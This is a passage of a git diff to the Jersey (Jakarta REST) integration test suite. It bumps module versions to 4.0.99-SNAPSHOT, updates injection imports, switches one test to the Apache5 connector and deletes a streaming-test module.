-    }
-
-    @Override
-    protected TestContainerFactory getTestContainerFactory() throws TestContainerException {
-        return new ExternalTestContainerFactory();
+    protected Application configure() {
+        return new Jersey1829();
     }
 
     @Test
@@ -57,6 +53,5 @@
         final Response response = target().path("resource/428-entity").request().get();
         Assertions.assertEquals(428, response.getStatusInfo().getStatusCode());
         Assertions.assertEquals("my-phrase", response.getStatusInfo().getReasonPhrase());
-
     }
 }
diff --git a/tests/integration/jersey-1883/pom.xml b/tests/integration/jersey-1883/pom.xml
index 21de9f6..d2be867 100644
--- a/tests/integration/jersey-1883/pom.xml
+++ b/tests/integration/jersey-1883/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-1883</artifactId>
diff --git a/tests/integration/jersey-1928/pom.xml b/tests/integration/jersey-1928/pom.xml
index 1f7faba..706b0dd 100644
--- a/tests/integration/jersey-1928/pom.xml
+++ b/tests/integration/jersey-1928/pom.xml
@@ -21,7 +21,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <artifactId>jersey-1928</artifactId>
diff --git a/tests/integration/jersey-1960/pom.xml b/tests/integration/jersey-1960/pom.xml
index 6b3b0ad..eefd89f 100644
--- a/tests/integration/jersey-1960/pom.xml
+++ b/tests/integration/jersey-1960/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-1960</artifactId>
diff --git a/tests/integration/jersey-1964/pom.xml b/tests/integration/jersey-1964/pom.xml
index 2246809..78ea375 100644
--- a/tests/integration/jersey-1964/pom.xml
+++ b/tests/integration/jersey-1964/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-1964</artifactId>
diff --git a/tests/integration/jersey-2031/pom.xml b/tests/integration/jersey-2031/pom.xml
index 0a0a67c..a140118 100644
--- a/tests/integration/jersey-2031/pom.xml
+++ b/tests/integration/jersey-2031/pom.xml
@@ -25,7 +25,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2031</artifactId>
diff --git a/tests/integration/jersey-2136/pom.xml b/tests/integration/jersey-2136/pom.xml
index f4e4923..e6dcc8c 100644
--- a/tests/integration/jersey-2136/pom.xml
+++ b/tests/integration/jersey-2136/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2136</artifactId>
diff --git a/tests/integration/jersey-2137/pom.xml b/tests/integration/jersey-2137/pom.xml
index b89875b..e53e739 100644
--- a/tests/integration/jersey-2137/pom.xml
+++ b/tests/integration/jersey-2137/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2137</artifactId>
diff --git a/tests/integration/jersey-2154/pom.xml b/tests/integration/jersey-2154/pom.xml
index 99af403..f1950d4 100644
--- a/tests/integration/jersey-2154/pom.xml
+++ b/tests/integration/jersey-2154/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2154</artifactId>
diff --git a/tests/integration/jersey-2160/pom.xml b/tests/integration/jersey-2160/pom.xml
index 6b88259..e28ed00 100644
--- a/tests/integration/jersey-2160/pom.xml
+++ b/tests/integration/jersey-2160/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2160</artifactId>
diff --git a/tests/integration/jersey-2164/pom.xml b/tests/integration/jersey-2164/pom.xml
index 8a2650d..26bf1ca 100644
--- a/tests/integration/jersey-2164/pom.xml
+++ b/tests/integration/jersey-2164/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2164</artifactId>
diff --git a/tests/integration/jersey-2167/pom.xml b/tests/integration/jersey-2167/pom.xml
index 79623ef..7970ade 100644
--- a/tests/integration/jersey-2167/pom.xml
+++ b/tests/integration/jersey-2167/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2167</artifactId>
diff --git a/tests/integration/jersey-2167/src/main/java/org/glassfish/jersey/tests/integration/jersey2167/MyBinder.java b/tests/integration/jersey-2167/src/main/java/org/glassfish/jersey/tests/integration/jersey2167/MyBinder.java
index 9faf5a6..0824c16 100644
--- a/tests/integration/jersey-2167/src/main/java/org/glassfish/jersey/tests/integration/jersey2167/MyBinder.java
+++ b/tests/integration/jersey-2167/src/main/java/org/glassfish/jersey/tests/integration/jersey2167/MyBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,7 +18,7 @@
 
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.server.spi.internal.ValueParamProvider;
 
 /**
diff --git a/tests/integration/jersey-2176/pom.xml b/tests/integration/jersey-2176/pom.xml
index a89c35f..b50d3e2 100644
--- a/tests/integration/jersey-2176/pom.xml
+++ b/tests/integration/jersey-2176/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2176</artifactId>
diff --git a/tests/integration/jersey-2184/pom.xml b/tests/integration/jersey-2184/pom.xml
index 1917710..40e5ea8 100644
--- a/tests/integration/jersey-2184/pom.xml
+++ b/tests/integration/jersey-2184/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2184</artifactId>
diff --git a/tests/integration/jersey-2255/pom.xml b/tests/integration/jersey-2255/pom.xml
index 848f85b..0e90826 100644
--- a/tests/integration/jersey-2255/pom.xml
+++ b/tests/integration/jersey-2255/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2255</artifactId>
diff --git a/tests/integration/jersey-2322/pom.xml b/tests/integration/jersey-2322/pom.xml
index 6f022fd..2160e41 100644
--- a/tests/integration/jersey-2322/pom.xml
+++ b/tests/integration/jersey-2322/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2322</artifactId>
diff --git a/tests/integration/jersey-2335/pom.xml b/tests/integration/jersey-2335/pom.xml
index 2b753ed..2d4deb5 100644
--- a/tests/integration/jersey-2335/pom.xml
+++ b/tests/integration/jersey-2335/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2335</artifactId>
diff --git a/tests/integration/jersey-2421/pom.xml b/tests/integration/jersey-2421/pom.xml
index 1d7a655..7a6bade 100644
--- a/tests/integration/jersey-2421/pom.xml
+++ b/tests/integration/jersey-2421/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2421</artifactId>
diff --git a/tests/integration/jersey-2551/pom.xml b/tests/integration/jersey-2551/pom.xml
index d3318cb..667776d 100644
--- a/tests/integration/jersey-2551/pom.xml
+++ b/tests/integration/jersey-2551/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2551</artifactId>
diff --git a/tests/integration/jersey-2612/pom.xml b/tests/integration/jersey-2612/pom.xml
index 5c49c19..865f99b 100644
--- a/tests/integration/jersey-2612/pom.xml
+++ b/tests/integration/jersey-2612/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2612</artifactId>
diff --git a/tests/integration/jersey-2612/src/main/java/org/glassfish/jersey/tests/integration/jersey2612/OptionalParamBinder.java b/tests/integration/jersey-2612/src/main/java/org/glassfish/jersey/tests/integration/jersey2612/OptionalParamBinder.java
index 428eec6..34dc45b 100644
--- a/tests/integration/jersey-2612/src/main/java/org/glassfish/jersey/tests/integration/jersey2612/OptionalParamBinder.java
+++ b/tests/integration/jersey-2612/src/main/java/org/glassfish/jersey/tests/integration/jersey2612/OptionalParamBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -20,7 +20,7 @@
 
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 
 final class OptionalParamBinder extends AbstractBinder {
 
diff --git a/tests/integration/jersey-2637/pom.xml b/tests/integration/jersey-2637/pom.xml
index 485cad5..5e64061 100644
--- a/tests/integration/jersey-2637/pom.xml
+++ b/tests/integration/jersey-2637/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2637</artifactId>
diff --git a/tests/integration/jersey-2654/pom.xml b/tests/integration/jersey-2654/pom.xml
index 7ff21a6..354b62a 100644
--- a/tests/integration/jersey-2654/pom.xml
+++ b/tests/integration/jersey-2654/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2654</artifactId>
diff --git a/tests/integration/jersey-2673/pom.xml b/tests/integration/jersey-2673/pom.xml
index 8c04b5b..0f32e00 100644
--- a/tests/integration/jersey-2673/pom.xml
+++ b/tests/integration/jersey-2673/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2673</artifactId>
diff --git a/tests/integration/jersey-2689/pom.xml b/tests/integration/jersey-2689/pom.xml
index 5176497..29cc80e 100644
--- a/tests/integration/jersey-2689/pom.xml
+++ b/tests/integration/jersey-2689/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2689</artifactId>
diff --git a/tests/integration/jersey-2704/pom.xml b/tests/integration/jersey-2704/pom.xml
index 3bbbe91..f6e2e92 100644
--- a/tests/integration/jersey-2704/pom.xml
+++ b/tests/integration/jersey-2704/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2704</artifactId>
diff --git a/tests/integration/jersey-2776/pom.xml b/tests/integration/jersey-2776/pom.xml
index fb99ae9..42c8910 100644
--- a/tests/integration/jersey-2776/pom.xml
+++ b/tests/integration/jersey-2776/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2776</artifactId>
diff --git a/tests/integration/jersey-2794/pom.xml b/tests/integration/jersey-2794/pom.xml
index 5b5e41d..c96f33d 100644
--- a/tests/integration/jersey-2794/pom.xml
+++ b/tests/integration/jersey-2794/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2794</artifactId>
diff --git a/tests/integration/jersey-2846/pom.xml b/tests/integration/jersey-2846/pom.xml
index fdb90d6..f3a1717 100644
--- a/tests/integration/jersey-2846/pom.xml
+++ b/tests/integration/jersey-2846/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2846</artifactId>
diff --git a/tests/integration/jersey-2878/pom.xml b/tests/integration/jersey-2878/pom.xml
index 09f94cf..9afb2cc 100644
--- a/tests/integration/jersey-2878/pom.xml
+++ b/tests/integration/jersey-2878/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2878</artifactId>
@@ -48,7 +48,13 @@
 
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
+            <artifactId>jersey-apache5-connector</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.slf4j</groupId>
+            <artifactId>slf4j-api</artifactId>
+            <version>${slf4j.version}</version>
             <scope>test</scope>
         </dependency>
     </dependencies>
diff --git a/tests/integration/jersey-2878/src/test/java/org/glassfish/jersey/tests/integration/jersey2878/Jersey2878ApacheITCase.java b/tests/integration/jersey-2878/src/test/java/org/glassfish/jersey/tests/integration/jersey2878/Jersey2878ApacheITCase.java
index f23c45e..9f168c0 100644
--- a/tests/integration/jersey-2878/src/test/java/org/glassfish/jersey/tests/integration/jersey2878/Jersey2878ApacheITCase.java
+++ b/tests/integration/jersey-2878/src/test/java/org/glassfish/jersey/tests/integration/jersey2878/Jersey2878ApacheITCase.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,7 +16,7 @@
 
 package org.glassfish.jersey.tests.integration.jersey2878;
 
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
+import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 
 /**
@@ -28,7 +28,7 @@
 
     @Override
     protected void configureClient(final ClientConfig config) {
-        config.connectorProvider(new ApacheConnectorProvider());
+        config.connectorProvider(new Apache5ConnectorProvider());
 
         super.configureClient(config);
     }
diff --git a/tests/integration/jersey-2892/pom.xml b/tests/integration/jersey-2892/pom.xml
index ed77ae1..98b6f93 100644
--- a/tests/integration/jersey-2892/pom.xml
+++ b/tests/integration/jersey-2892/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-2892</artifactId>
diff --git a/tests/integration/jersey-3662/pom.xml b/tests/integration/jersey-3662/pom.xml
index ba4e744..1efc3bd 100644
--- a/tests/integration/jersey-3662/pom.xml
+++ b/tests/integration/jersey-3662/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/jersey-3670/pom.xml b/tests/integration/jersey-3670/pom.xml
index 43d69bb..d3072ce 100644
--- a/tests/integration/jersey-3670/pom.xml
+++ b/tests/integration/jersey-3670/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-3670</artifactId>
diff --git a/tests/integration/jersey-3796/pom.xml b/tests/integration/jersey-3796/pom.xml
index ea71991..9b2e569 100644
--- a/tests/integration/jersey-3796/pom.xml
+++ b/tests/integration/jersey-3796/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-3796</artifactId>
diff --git a/tests/integration/jersey-3992/pom.xml b/tests/integration/jersey-3992/pom.xml
index 68c5217..94d68a5 100644
--- a/tests/integration/jersey-3992/pom.xml
+++ b/tests/integration/jersey-3992/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-3992</artifactId>
diff --git a/tests/integration/jersey-4003/pom.xml b/tests/integration/jersey-4003/pom.xml
index 5f97a69..21cca1b 100644
--- a/tests/integration/jersey-4003/pom.xml
+++ b/tests/integration/jersey-4003/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/jersey-4099/pom.xml b/tests/integration/jersey-4099/pom.xml
index d30a157..f0c0b82 100644
--- a/tests/integration/jersey-4099/pom.xml
+++ b/tests/integration/jersey-4099/pom.xml
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-4099</artifactId>
diff --git a/tests/integration/jersey-4321/pom.xml b/tests/integration/jersey-4321/pom.xml
deleted file mode 100644
index 72c275c..0000000
--- a/tests/integration/jersey-4321/pom.xml
+++ /dev/null
@@ -1,66 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-
-    Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved.
-    Copyright (c) 2019 Christian Kaltepoth. All rights reserved.
-
-    This program and the accompanying materials are made available under the
-    terms of the Eclipse Public License v. 2.0, which is available at
-    http://www.eclipse.org/legal/epl-2.0.
-
-    This Source Code may also be made available under the following Secondary
-    Licenses when the conditions for such availability set forth in the
-    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-    version 2 with the GNU Classpath Exception, which is available at
-    https://www.gnu.org/software/classpath/license.html.
-
-    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-
--->
-
-<project xmlns="http://maven.apache.org/POM/4.0.0"
-         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
-    <parent>
-        <artifactId>project</artifactId>
-        <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.5.99-SNAPSHOT</version>
-    </parent>
-    <modelVersion>4.0.0</modelVersion>
-
-    <artifactId>jersey-4321</artifactId>
-
-    <dependencies>
-        <dependency>
-            <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-grizzly2-http</artifactId>
-            <version>${project.version}</version>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-            <artifactId>jersey-test-framework-provider-grizzly2</artifactId>
-            <version>${project.version}</version>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.apache.httpcomponents</groupId>
-                    <artifactId>httpclient</artifactId>
-                </exclusion>
-            </exclusions>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.apache.httpcomponents</groupId>
-            <artifactId>httpclient</artifactId>
-            <!-- Do not change the version, this is backward compatibility test that is to pass on 4.5 -->
-            <version>4.5</version>
-            <scope>test</scope>
-        </dependency>
-    </dependencies>
-
-</project>
diff --git a/tests/integration/jersey-4321/src/test/java/org/glassfish/jersey/tests/integration/jersey4321/StreamingTest.java b/tests/integration/jersey-4321/src/test/java/org/glassfish/jersey/tests/integration/jersey4321/StreamingTest.java
deleted file mode 100644
index c3f2993..0000000
--- a/tests/integration/jersey-4321/src/test/java/org/glassfish/jersey/tests/integration/jersey4321/StreamingTest.java
+++ /dev/null
@@ -1,101 +0,0 @@
-/*
- * Copyright (c) 2019, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.tests.integration.jersey4321;
-
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.server.ChunkedOutput;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.inject.Singleton;
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import java.io.IOException;
-import java.io.InputStream;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * Brought over from Apache connector module, Jersey 2.28 style
- * @author Petr Janouch
- */
-public class StreamingTest extends JerseyTest {
-
-    /**
-     * Test that a data stream can be terminated from the client side.
-     * Using pre Jersey 2.29 strategy
-     */
-    @Test
-    public void clientCloseCloseResponseFirstTest() throws IOException {
-        // start streaming
-
-        InputStream inputStream = target().path("/streamingEndpoint").request().get(InputStream.class);
-
-        WebTarget sendTarget = target().path("/streamingEndpoint/send");
-        // trigger sending 'A' to the stream; OK is sent if everything on the server was OK
-        assertEquals("OK", sendTarget.request().get().readEntity(String.class));
-        // check 'A' has been sent
-        assertEquals('A', inputStream.read());
-        // closing the stream should tear down the connection
-        inputStream.close();
-        // trigger sending another 'A' to the stream; it should fail
-        // (indicating that the streaming has been terminated on the server)
-        assertEquals("NOK", sendTarget.request().get().readEntity(String.class));
-    }
-
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new ApacheConnectorProvider());
-    }
-
-    @Override
-    protected Application configure() {
-        return new ResourceConfig(StreamingEndpoint.class);
-    }
-
-    @Singleton
-    @Path("streamingEndpoint")
-    public static class StreamingEndpoint {
-
-        private final ChunkedOutput<String> output = new ChunkedOutput<>(String.class);
-
-        @GET
-        @Path("send")
-        public String sendEvent() {
-            try {
-                output.write("A");
-            } catch (IOException e) {
-                return "NOK";
-            }
-
-            return "OK";
-        }
-
-        @GET
-        @Produces(MediaType.TEXT_PLAIN)
-        public ChunkedOutput<String> get() {
-            return output;
-        }
-    }
-}
diff --git a/tests/integration/jersey-4507/pom.xml b/tests/integration/jersey-4507/pom.xml
index 0a5e6bc..5a9ff7b 100644
--- a/tests/integration/jersey-4507/pom.xml
+++ b/tests/integration/jersey-4507/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/jersey-4542/pom.xml b/tests/integration/jersey-4542/pom.xml
index ba0db35..e4910a6 100644
--- a/tests/integration/jersey-4542/pom.xml
+++ b/tests/integration/jersey-4542/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/jersey-4697/pom.xml b/tests/integration/jersey-4697/pom.xml
index bfd7b05..886355f 100644
--- a/tests/integration/jersey-4697/pom.xml
+++ b/tests/integration/jersey-4697/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/jersey-4722/pom.xml b/tests/integration/jersey-4722/pom.xml
index 5dd0445..0ace83b 100644
--- a/tests/integration/jersey-4722/pom.xml
+++ b/tests/integration/jersey-4722/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/jersey-4949/pom.xml b/tests/integration/jersey-4949/pom.xml
index 88e26df..165c3f4 100644
--- a/tests/integration/jersey-4949/pom.xml
+++ b/tests/integration/jersey-4949/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-4949</artifactId>
diff --git a/tests/integration/jersey-5087/pom.xml b/tests/integration/jersey-5087/pom.xml
index b82f788..0d24ccf 100644
--- a/tests/integration/jersey-5087/pom.xml
+++ b/tests/integration/jersey-5087/pom.xml
@@ -23,7 +23,7 @@
     <parent>
